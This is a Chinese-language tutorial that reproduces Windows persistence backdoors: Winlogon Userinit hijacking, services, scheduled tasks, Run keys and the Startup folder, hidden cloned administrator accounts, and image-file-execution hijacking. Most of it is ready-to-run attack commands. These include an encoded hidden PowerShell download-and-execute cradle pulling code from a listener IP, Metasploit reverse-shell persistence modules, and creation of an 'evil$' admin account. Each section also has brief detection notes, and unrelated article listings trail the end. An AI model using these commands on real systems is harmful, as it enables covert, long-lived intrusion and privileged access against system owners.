Windows权限维持技术总结、复现

简介: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon的作用是指定用户登录时 Winlogon 运行的程序。默认情况下,Winlogon 运行 Userinit.exe(运行登录脚本),重新建立网络连接,然后启动 Windows 用户界面 Explorer.exe。可以更改此条目的值以添加或删除程序。例如,要在 Windows 资源管理器用户界面启动之前运行某个程序,可以将该程序的名称替换为该条目的值中的 Userinit.exe,然后在该程序中包含启动 Userinit.exe 的指令。

0x01 winlogon helper

1.1 简介


HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon的作用是指定用户登录时 Winlogon 运行的程序。默认情况下,Winlogon 运行 Userinit.exe(运行登录脚本),重新建立网络连接,然后启动 Windows 用户界面 Explorer.exe。可以更改

此条目的值以添加或删除程序。例如,要在 Windows 资源管理器用户界面启动之前运行某个程序,可以将该程序的名称替换为该条目的值中的 Userinit.exe,然后在该程序中包含启动 Userinit.exe 的指令。


1.2 实验环境

  • Windows 7 x64

1.3 利用方法

1.3.1 后门程序


Userinit 键默认的值为C:\Windows\system32\userinit.exe,,我们用下面的命令在后面加上我们要启动的后门程序即可。


REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\Users\admin\Documents\backdoor.exe"


当用户重新登录时,便会运行我们的后门程序

1.3.2 msf

userinit 优先于很多杀软启动,通过调用 powershell(例如 web_delivery 模块),可以做到无文件落地,实现一定程度的免杀效果。


# msf命令
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
# 设置 target 为 psh
set target 2
set lhost 192.168.26.129
run


用以下命令添加后门

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB5AGEATwAzAEMAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAeQBhAE8AMwBDAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAeQBhAE8AMwBDAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIANgAuADEAMgA5ADoAOAAwADgAMAAvAFQAbwA4AHoANQBXAGUANQBnAEoAYwBDAC8AbwBXAFUAVQBUAEsAVwAyAGIAcgB1ACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgA2AC4AMQAyADkAOgA4ADAAOAAwAC8AVABvADgAegA1AFcAZQA1AGcASgBjAEMAJwApACkAOwA="

当用户重新登录时,便会运行我们的后门程序

1.4 检测及清除

手动查看HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的 Userinit 键,也可以利用 AutoRuns 软件来排查。



1.5 参考

权限维持及后门持久化技巧总结

利用userinit注册表键实现无文件后门


0x02 服务

2.1 简介


在 Windows 上有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE 文件注册为服务来作为后门。


2.2 实验环境

  • Windows 7 x64

2.3 利用方法

2.3.1 手动


用下面的命令来创建一个自启动 Windows 服务

sc create backdoor binpath= C:\Users\admin\Documents\backdoor.exe type= own start= auto displayname= backdoor


查看服务,已经创建成功了


重启系统以后,虽然 cs 收到了反弹 shell,但是 shell 后面就断线了,在系统中查看服务也是处于停止状态,尝试手动启动服务还会报错


这是因为我们的后门程序不符合服务的规范,所以启动失败了,这就需要使用 instsrv + srvany 来创建服务了


instsrv.exe.exe 和 srvany.exe 是 Microsoft Windows Resource Kits 工具集中 的两个实用工具,这两个工具配合使用可以将任何的 exe 应用程序作为 window 服务运行。

srany.exe 是注册程序的服务外壳,可以通过它让应用程序以 system 账号启动,可以使应用程序作为 windows 的服务随机器启动而自动启动,从而隐藏不必要的窗口。


将 instsrv.exe 和 srvany.exe 拷贝到C:\WINDOWS\SysWOW64目录下,然后在 cmd 中先切换到C:\WINDOWS\SysWOW64目录,再运行命令instsrv MyService C:\WINDOWS\SysWOW64\srvany.exe


再通过以下命令添加注册表

# 创建键值
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\backdoor\Parameters" /f
# 后门路径
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\backdoor\Parameters" /v AppDirectory /t REG_SZ /d "C:\Users\admin\Documents" /f
# 后门程序
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\backdoor\Parameters" /v Application /t REG_SZ /d "C:\Users\admin\Documents\backdoor.exe" /f


当目标服务器启动的时候,就能收到反弹 shell 了,并且还是 system 权限

2.3.2 MSF


使用以下命令调用 persistence_service 模块

use exploit/windows/local/persistence_service
# 此模块不支持 windows/x64/meterpreter/reverse_tcp,注意在监听的时候要选择 windows/meterpreter/reverse_tcp
set payload windows/meterpreter/reverse_tcp
run


执行完以后便会在目标系统中生成一个自启动服务


MSF 建立监听,目标服务器启动时便可收到 shell

MSF 建立监听,目标服务器用户重新登录时便可收到 shell

use exploit/multi/handler
# 这里只能用 x32 的 payload
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.26.129
run



2.4 检测及清除

手动查看服务中是否有可疑服务,也可以利用 AutoRuns 软件来排查。



2.5 参考

2种方法教你,如何将exe注册为windows服务,直接从后台运行

第6篇:三大渗透测试框架权限维持技术


0x03 定时任务

3.1 简介


Windows 实现计划任务主要有 at 与 schtasks 两种方式,通过计划任务可以定时启动后门程序

at 适用于windows 2000、2003、xp,schtasks适用于windows >= 2003


3.2 at

3.2.1 实验环境

  • Windows Server 2003 Enterprise x64 Edition

3.2.2 利用方法

打开 cmd,用 at 命令创建一项计划任务

# 每天的16:34启动后门程序
at 16:34 /every:M,T,W,Th,F,S,Su C:\ZhiArchive\backdoor.exe

成功上线 cs

3.3 schtasks

3.3.1 实验环境

  • Windows 7 x64

3.3.2 利用方法

打开 cmd,用 schtasks 命令创建一项计划任务

schtasks /Create /TN badcode /SC DAILY /ST 16:49 /TR "C:\Users\admin\Documents\backdoor.exe"

成功上线 cs

3.2.3 检测及清除

3.2.3.1 Windows Server 2003

C:\WINDOWS\Tasks目录排查可疑的定时任务文件

在日志C:\WINDOWS\Tasks\SchedLgU.txt中排查可疑的定时任务记录

3.2.3.2 Windows 7

在任务计划程序中排查可疑的定时任务

也可以使用 autoruns 来排查计划任务



3.4 踩坑记录

3.4.1

无论是 at 还是 sc,后门程序目录不能有空格,否则无法正常运行,例如

# 可以运行
C:\Users\admin\Documents\backdoor.exe
# 不能运行
C:\Users\admin\Documents\a b\backdoor.exe

3.5 参考

内网渗透--本机提权

从administrator到system权限的几种方式


0x04 启动项

4.1 简介


利用 windows 开机启动项实现权限的维持,每次系统启动都可实现后门的执行,很不错的权限维持的方式


4.2 实验环境

  • Windows 7 x64

4.3 利用方法

4.3.1 开始菜单启动项

# 当前用户目录
%HOMEPATH%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
# 系统目录(需要管理员权限)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp


将后门程序放到上面的用户目录中,目标用户重新登录时便会启动后门程序。


成功上线 cs

4.3.2 注册表启动项

4.3.2.1 手动
# 当前用户键值
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
# 服务器键值(需要管理员权限)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce


RunOnce 注册键:用户登录时,所有程序按顺序自动执行,在 Run 启动项之前执行,但只能运行一次,执行完毕后会自动删除

# 添加注册表
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\Users\admin\Documents\backdoor.exe"


用户重新登录时,便会启动后门程序


成功上线 cs

4.3.2.2 MSF


使用以下命令调用 persistence 模块

use exploit/windows/local/persistence
set payload windows/x64/meterpreter/reverse_tcp
# 选择 meterpreter shell
set session 2
# 如果我们获得的是 SYSTEM 权限,可以更改 STARTUP 参数,将启动项写入系统中,也就是 HKLM\Software\Microsoft\Windows\CurrentVersion\Run,默认是写入 HKCU\Software\Microsoft\Windows\CurrentVersion\Run
set STARTUP SYSTEM
run


执行以后便会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下生成启动项


MSF 建立监听,目标服务器用户重新登录时便可收到 shell

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.26.129
run

4.4 检测及清除


%HOMEPATH%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup目录下排查可疑启动项


在以下注册表排查可疑启动项


HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

也可以利用 AutoRuns 软件来排查。



4.5 参考

ATT&CK 之后门持久化

权限持久化(1)

第6篇:三大渗透测试框架权限维持技术


0x05 影子账户

5.1 简介


影子账户,顾名思义就像影子一样,跟主体是一模一样的,通过建立影子账户,可以获得跟管理员一样的权限,它无法通过普通命令进行查询,只能在注册表中找到其详细信息。


5.2 实验环境

  • Windows 7 x64

5.3 利用方法


先用以下命令创建一个隐藏用户,并把它添加到管理员组

net user evil$ Abcd1234 /add
net localgroup administrators evil$ /add


在用户名后面加了 $ 之后,使用net user命令就无法看到此隐藏用户


但是在控制面板和登录界面都是可以看到的


所以,我们还需要在注册表中进行一些操作,需要更改的注册表键值为HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users,默认情况下,HEKY_LOCAL_MACHINE\SAM\SAM的内容只有system用户才能查看和修改,所以,我们要赋予当前用户完全控制的权限


我们需要选择一个克隆对象(这里有个坑,见踩坑记录5.1),然后获取它的 F 值,如图所示,我们需要将000003E8导出,导出文件暂且命名为 1.reg


以同样的操作,导出 evil$ 用户和它的 F 值,000003F4暂且命名为 2.reg,evil$暂且命名为 3.reg,导出完成以后使用命令net user evil$ /del删除 evil$ 用户


然后将 2.reg 的 F 值替换为 1.reg 的F值,即将 evil$ 用户的 F 值替换为 admin 用户的 F 值


替换完成以后,可以用下面的命令导入注册表

regedit /s 2.reg
regedit /s 3.reg


查看效果,现在使用net user命令和控制面板均看不到 evil$ 用户


登录界面同样也没有


远程登录,查看我们的身份,就是克隆对象的身份


5.4 检测及清除


查看注册表HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names中是否有多余的用户,将 Names 中的用户以及它对应的类型删除即可

5.5 踩坑记录

5.5.1


选择克隆对象时,一定要注意选择的账户是否被禁用,是否支持远程登录,我的实验环境没有启用 administrator 账户,一开始我克隆的是 administrator,远程登录的时候便报了下面的错



5.6 参考

权限维持篇-影子用户后门


0x06 映像劫持

6.1 简介


映像劫持,也叫重定向劫持。即想运行 A.exe,结果运行的是B.exe。


在 Windows NT 架构的系统中,IFEO 的本意是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。当一个可执行程序位于 IFEO 的控制中时,它的内存分配则根据该程序的参数来设定,而 Windows NT 架构的系统能通过这个注册表项使用与可执行程序文件名匹配的项目作为程序载入时的控制依据,最终得以设定一个程序的堆管理机制和一些辅助机制等。


Windows NT 系统在试图执行一个从命令行调用的可执行文件运行请求时,会先检查运行程序是不是可执行文件,如果是的话,再检查格式,然后就会检查是否存在。而


Debugger 是 IFEO 里第一个被处理的参数,当该值不为空时,系统会被其指定的程序文件名作为用户试图启动的程序执行请求来处理,而仅仅把用户试图启动的程序作为 Debugger 参数里指定的程序文件名的参数发送过去。


由于 IFEO 中可设置的值项还有 GlobalFlag,由 gflags.exe 控制,从 win7 开始,可以在 Slient Process Exit 选项卡中启用和配置对进程静默的监视操作。

IFEO 设计本意就是让程序员能够通过双击程序文件直接进入调试器里调试自己的程序。


6.2 实验环境

  • Windows 7 x64

6.3 利用方法

6.3.1 修改 Debugger 值


注册表位置为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options


通过以下命令将计算器 calc.exe 替换为我们的后门程序

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t REG_SZ /d "C:\Users\admin\Documents\backdoor.exe" /f


打开计算器的时候成功上线 cs


6.3.2 修改 GlobalFlag 值


使用以下命令修改 GlobalFlag 值

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v MonitorProcess /d "C:\Users\admin\Documents\backdoor.exe"



先打开计算器,在关闭计算器时,成功上线 cs



6.3.3 比较

通过测试,修改 Debugger 值以后计算器就打不开了,影响了程序的正常使用,而修改 GlobalFlag 值是在关闭计算器时才启动后门程序,比较隐蔽,因此,推荐修改 GlobalFlag 值



6.4 检测及清除

在注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options中进行排查



6.5 参考

持久化攻击之映像劫持

win维持访问-映像劫持

相关文章
|
人工智能 缓存 Shell
[笔记]Windows核心编程《二十》DLL的高级操作技术(二)
[笔记]Windows核心编程《二十》DLL的高级操作技术(二)
328 0
|
5月前
|
vr&ar C# 图形学
WPF与AR/VR的激情碰撞:解锁Windows Presentation Foundation应用新维度,探索增强现实与虚拟现实技术在现代UI设计中的无限可能与实战应用详解
【8月更文挑战第31天】增强现实(AR)与虚拟现实(VR)技术正迅速改变生活和工作方式,在游戏、教育及工业等领域展现出广泛应用前景。本文探讨如何在Windows Presentation Foundation(WPF)环境中实现AR/VR功能,通过具体示例代码展示整合过程。尽管WPF本身不直接支持AR/VR,但借助第三方库如Unity、Vuforia或OpenVR,可实现沉浸式体验。例如,通过Unity和Vuforia在WPF中创建AR应用,或利用OpenVR在WPF中集成VR功能,从而提升用户体验并拓展应用功能边界。
94 0
|
5月前
|
C# Windows 开发者
当WPF遇见OpenGL:一场关于如何在Windows Presentation Foundation中融入高性能跨平台图形处理技术的精彩碰撞——详解集成步骤与实战代码示例
【8月更文挑战第31天】本文详细介绍了如何在Windows Presentation Foundation (WPF) 中集成OpenGL,以实现高性能的跨平台图形处理。通过具体示例代码,展示了使用SharpGL库在WPF应用中创建并渲染OpenGL图形的过程,包括开发环境搭建、OpenGL渲染窗口创建及控件集成等关键步骤,帮助开发者更好地理解和应用OpenGL技术。
371 0
|
5月前
|
iOS开发 Android开发 MacOS
从零到全能开发者:解锁Uno Platform,一键跨越多平台应用开发的神奇之旅,让你的代码飞遍Windows、iOS、Android、macOS及Web,技术小白也能秒变跨平台大神!
【8月更文挑战第31天】从零开始,踏上使用Uno Platform开发跨平台应用的旅程。只需编写一次代码,即可轻松部署到Windows、iOS、macOS、Android及Web(通过WASM)等多个平台。Uno Platform为.NET生态带来前所未有的灵活性和效率,简化跨平台开发。首先确保安装了Visual Studio或VS Code及.NET SDK,然后选择合适的项目模板创建新项目。项目结构类似传统.NET MAUI或WPF项目,包含核心NuGet包。通过简单的按钮示例,你可以快速上手并构建应用。Uno Platform让你的技术探索之旅充满无限可能。
104 0
|
5月前
|
Kubernetes Cloud Native 开发者
探索云原生技术:Kubernetes入门与实践探索Windows操作系统的隐藏功能
【8月更文挑战第31天】在数字化转型的浪潮中,云原生技术成为企业提升敏捷性、效率和可靠性的关键。本文将带你了解云原生的核心组件之一——Kubernetes(K8s),通过浅显易懂的语言和实际代码示例,引导你步入这一强大工具的世界。无论你是初学者还是有经验的开发者,本篇都将为你打开一扇通向高效资源管理与自动化部署的大门。
|
5月前
|
开发框架 .NET API
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
Windows Server 2022 安装IIS 报错 访问临时文件夹 C:\WINDOWS\TEMP\3C 读取/写入权限 错误: 0x80070005
182 0
|
7月前
|
存储 IDE 开发工具
【读书笔记】 玩转虚拟机基于Vmware+Windows 虚拟化技术
【读书笔记】 玩转虚拟机基于Vmware+Windows 虚拟化技术
|
7月前
【权限维持】Windows&自启动&映像劫持&粘滞键&辅助屏保后门&WinLogon
【权限维持】Windows&自启动&映像劫持&粘滞键&辅助屏保后门&WinLogon
|
6月前
|
安全 Windows
【项目问题解决】windows10 删除文件有完全控制权限 你需要权限来执行此操作
在Windows 10中遇到删除文件提示需管理员权限时,问题可能源于用户权限不足或文件夹权限设置。解决方法包括:右键文件→属性→安全→高级→更改所有者为管理员→保存设置→回到安全选项卡,选中管理员权限,勾选“完全控制”,确定保存。若仍无法删除,先尝试删除子文件,再删除文件夹。
280 0
|
7月前
|
机器学习/深度学习 前端开发 Linux
技术心得:分析Windows的死亡蓝屏(BSOD)机制
技术心得:分析Windows的死亡蓝屏(BSOD)机制